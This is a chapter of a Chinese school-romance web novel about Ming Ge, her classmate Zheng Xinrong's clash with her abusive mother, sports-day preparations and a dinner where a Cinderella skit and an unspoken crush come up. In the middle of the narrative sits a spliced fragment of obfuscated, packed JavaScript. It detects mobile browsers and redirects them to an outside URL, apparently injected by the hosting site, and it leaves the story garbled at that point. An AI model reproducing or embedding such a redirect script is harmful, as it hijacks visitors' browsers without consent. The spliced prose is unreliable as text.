明歌从体委怀里挣脱,走到座位边。
郑心榕在她看过来时飞快地移开目光,随着她走进,头越来越低,几乎贴到桌面上,肩膀高高耸起。
蓝色的校服西装裁剪精良,此时被她穿在身上却活像个超市环保袋,松垮垮地挂在她瘦削的双肩上,衣领遮不住她后颈突出的骨节。
她瘦得几乎脱相。
“让我进去。”明歌的语气很平静。
郑心榕愣了一下,她拖着椅子往前挪了挪,让明歌回到她的位置上。
交作业、早读、上课,明歌一如往常,郑心榕在或不在,并不会对她造成任何影响。
宁外最长的请假时间是一个月,而郑心榕是在第二十六天的晚上,拒绝父母让她转学的安排。
母亲对着她又打又骂,歇斯底里地问:“你是不是还想和男的不清不楚,是不是觉得傍了个有钱人就能一飞冲天了啊?你把你娘老子的脸都丢尽了,这事传出去,我们家要被人戳一辈子脊梁骨的啊……”
又说:“我和你爸辛辛苦苦省吃俭用,供你读书,你读了个什么回来?你还跟那个男孩子做了什么?小贱货,肯定是你勾引他的,要不然谁能看上你?”
污秽的咒骂如同之前无数次那样落在郑心榕的耳畔,可这次,她不知道从哪爆发出力量,挡住了母亲甩过来的巴掌。
瘦弱干枯的手腕被她抓在手里,郑心榕这一刻才发现,自己已经比母亲高了。
她说:“我说过我不想上宁外,是你们逼着我填志愿,是我爸一定要到处找人托关系把我塞进去,不是我愿意让你们给我花这么多钱的!”
郑心榕想哭,眼泪却好像已经流干了,她现在只觉得眼眶灼热,她想起蒋述,想起明歌,想起程嘉临说,她该道歉的对象那个真正被她伤害到的女孩子。
“我现在不转学,学费……学费我以后上大学打工还你们。”
那一天她歇斯底里地让母亲写欠条,瘦小的女人被她拉扯着,眼底充满迷茫与惊恐。
郑心榕浑身颤抖,说出去的话像一把尖刀,剔肉刮骨。她感到爽快,却不敢回忆与这种爽快相伴相生的疼痛。
她只能朝前看,想,回去之后,明歌会是什么反应呢。
明歌生气是理所应当的,她一定会好好道歉,如果能原谅她是最好的,不原谅的话也没关系,她会尽力弥补对明歌造成的伤害。
即使一开始接近明歌的动机不纯,现在明歌也是她最珍惜的朋友。
可明歌的态度并无任何改变,好像她们之间什么事都没发生,只要郑心榕愿意,还是可以无所顾忌地黏上去。
于是郑心榕的心一寸一寸地下沉,她在这种平静里,又一次失去勇气。
明歌在绝大多数情况下都是最好说话的那一类人,除了以下两种,一是给她表白,二是让她进行体力活动。
很不巧体委不了解明歌的个性,原本以为明歌会一口答应多给几个项目凑人头,没想到最后只能灰溜溜地遗憾离场。
“好姐姐,咱班纯理科小班,女子项目人数真的不够,我,咱班副班长,还有学委,算上团体项目,咱仨一共都报了八个项目了!”
明歌微笑,但不接茬。
许韵蔼——就是体委——霸占了副班长的一半座位,扭着身子趴在明歌桌子上哀嚎:“还有没有人愿意来啊?班干部也不能当驴使啊!”
副班长戳她:“秦钰呢?她好像能报个长跑。”
秦钰是他们班文娱委员,许韵蔼看了眼运动会时间表:“不行,她今年开幕式也得举牌,八百米在第一天,她换衣服来不及,开幕式上要表演的同学我直接都没问。”
秦钰正在给植物角的盆栽浇水,闻言说:“你给我报长跑吧,换个人举牌就是了。”
“那换谁……”许韵蔼改了表格,抬起头,和明歌四目相对。
明歌:“?”
许韵蔼一把捧住她的手:“仙女姐姐,我们不如各退一步。”
明歌:“……”
其实举着班牌绕操场走两圈儿也挺累的,但是不答应的话恐怕许韵蔼要继续求她跑八百米。孰轻孰重明歌还是能分清的,于是割地赔款,放弃了当路人观众的打算,摇身一变,成了高二三班的举牌手。
程嘉临倒不是很意外,周末在餐厅吃饭,问:“你们班今年抽到什么主题?”
宁外一向重视文体活动,运动会开幕式自古以来就有传统,每年一个大方向,大方向下有几个分支,由每个班体育委员抽取决定。
今年的大方向是致敬经典文艺作品,许韵蔼大手一挥,抽出一张“外语文艺片”。
高中生,除了学习什么事都一身干劲,副班长胆大包天,自作主张地把自习课变成讨论课,向全班收集idea,林霞发现后也没说什么。
学校只要求选择一部作品作为开幕式表演主题,同学们想法五花八门,一堂课没讨论出个结果。
明歌说:“外国文艺片,具体是哪一部还没定下来。”
“妹妹,我跟你说,咱班体委请假了,是你哥去抽的签,抽了个‘公主童话’。结果你猜怎么着,我们班还留校参加运动会的女生有一个算一个全上场了,女角色还是不够。”
说话的是赵奕潇,明歌好久没见到他了。他毕业之后出国,前段时间飞首都忙面签,前几天才回来。陈夏比她晚两天,两人都回来后,立马约饭,赵奕潇还特意提醒程嘉临记得把明歌带过来。
程嘉临发现好像自从明歌请了几天假开始,她和赵奕潇就慢慢不太联系了,现在赵奕潇有事找明歌,一般会经过一下程嘉临。
但是两个人见面时还是一样打打闹闹的,程嘉临便也没问他们之间发生了什么。
明歌问:“然后呢?”
程嘉临直觉不好,可是已经来不及了,赵奕潇躲过程嘉临捂他嘴的手,哈哈大笑道:“反正到那天总会被人家看到的,你哥要去演公主身边的小仙女了哈哈哈哈哈哈!”
小仙女……
扎丸子头,戴花环,穿小短裙,背着网纱翅膀的那种?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406745|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>这不行吧,她哥那张冷脸能演得了美萌小仙女吗?!
……其实演公主挺合适的,比较冰清玉洁的那种。
明歌这么想着,接着问:“那谁演公主?”
赵奕潇更开心了:“哈哈哈哈哈哈!我啊!全班一致决定通过的,你哥终于要给我当跟屁虫了!”
陈夏无情地戳穿他:“他瞎说,本来是抽签决定的,演公主的是另外一个同学,但他一看到程嘉临抽到仙女教母,就非得演公主。”
“那也是全班都同意了啊!”赵奕潇嘴硬。
“是灰姑娘啊。”明歌突然想到她刚到宁城发烧的那次,向仙女教母许愿,想暖和起来,几分钟后这个愿望就实现了,因为程嘉临带着热水袋出现了。
“很合适。”明歌说。
餐厅在学校附近,菜色还不错,就是位置比较隐蔽,没什么人。
明歌吃饱了,程嘉临递给她一张湿巾:“袖口,擦一下。”
明歌抬手一看,不知道什么时候蹭的,她袖口沾了一片印子。
明歌试了试,普通的湿巾擦不干净,程嘉临想上手帮忙,陈夏提醒她:“去洗手间处理一下吧。”
明歌想想觉得有道理,去了洗手间。
她用洗手液简单搓了一下弄脏的地方,确认污渍不那么明显后出去,和赵奕潇打了个照面。
赵奕潇尴尬地一扯嘴角:“嗨。”
明歌:“……”
“那什么。”赵奕潇摸了摸鼻子,“陈夏和你哥有话要说,把我给赶出来了。”
言下之意不是来找明歌的。
明歌点头。
赵奕潇恨不得指天发誓:“真的,我是被他俩支开的,我不是那种死缠烂打的人啊。”
明歌说:“我知道呀。”
赵奕潇虽然咋咋呼呼的,其实比谁都有分寸,表白被拒之后就没怎么打扰过她,有事也都是让程嘉临作为中间人传话。
“其实我就是想让你知道一下,没有要你一定接受或者给你压力的意思,现在这样挺尴尬的,你那个,咳,你知道陈夏想跟你哥说什么不?”
赵奕潇已经尴尬得开始胡言乱语了,明歌无奈地对他笑了笑,“我们先回去吧。”
——没回成。
陈夏和程嘉临还在聊,明歌和赵奕潇走到一半,听见陈夏问:“你知不知道江乐对你——?”
赵奕潇捂脸:“妈呀,太刺激了。”
明歌本来想直接走出去打断他们,结果被赵奕潇拉到拐角,不得不被迫偷听他们的谈话内容。
声音不大,听得不是很清楚,陈夏情绪似乎有点激动,程嘉临偶尔应两声。
“这餐厅就是江乐生日那天定的,陈夏说约在这里的时候我就知道程嘉临这次不能善终了。”赵奕潇说,“陈夏怼起人来可狠了,没想到程嘉临也有这一天。”
程嘉临肯定知道江乐喜欢他。明歌想。
实在是太明显了,明显到她一个外人都能看出来,程嘉临只是一直在回避这件事而已。